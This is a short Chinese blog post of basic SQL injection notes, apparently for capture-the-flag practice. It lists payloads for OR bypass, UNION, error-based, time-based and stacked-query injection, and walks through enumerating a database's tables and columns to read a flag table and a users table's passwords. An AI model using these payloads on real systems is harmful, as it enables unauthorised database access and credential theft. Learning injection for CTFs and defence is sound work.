梦の博客 欢迎来到我的破站
歌曲封面 未知作品

网站已运行 362 天 16 小时 33 分

Powered by Typecho & Sunny

2 online · 51 ms

Title

sql注入(基础)

云梦

·

Article
⚠️ 本文最后更新于2023年06月29日,已经过了303天没有更新,若内容或图片失效,请留言反馈

常见注入方式:

♾️ html 代码:
1' or '1'='1'#
    #or语句
    1' order by 3#
    #order语句
    1' union select 1,2,3#
    #联合查询
    1'and(select extractvalue(1,concat('~',(select database()))))
    #报错注入
    1' and if(length(database())>1,sleep(5),1)--+
    #时间注入
    1;show databases#
    1;show tables#

补充一点点小知识,方便理解sql语句

♾️ haml 代码:
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据

#代表注释后面的内容和终止查询的目的。

♾️ html 代码:
#可以代表:%23,--+,#

判断字段:

♾️ html 代码:
?wllm=-1' order by 3%23

查看回显点:

♾️ html 代码:
?wllm=-1' union select 1,2,3%23

查寻库名:

♾️ html 代码:
?wllm=-1' union select 1,2,database()%23

查询表名

♾️ html 代码:
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'%23

查询字段名

♾️ html 代码:
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'%23

查询flag表里面内容

♾️ html 代码:
/?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb%23

有些时候爆出的column太多,可以使用 limitlimit 用于限制查询结果集的返回行数。
例如:

♾️ haml 代码:
?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
♾️ abap 代码:
?id=1' union select 1,(select flag from flag limit 0,1),3#
现在已有 0 条评论,0 人点赞
Comment
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主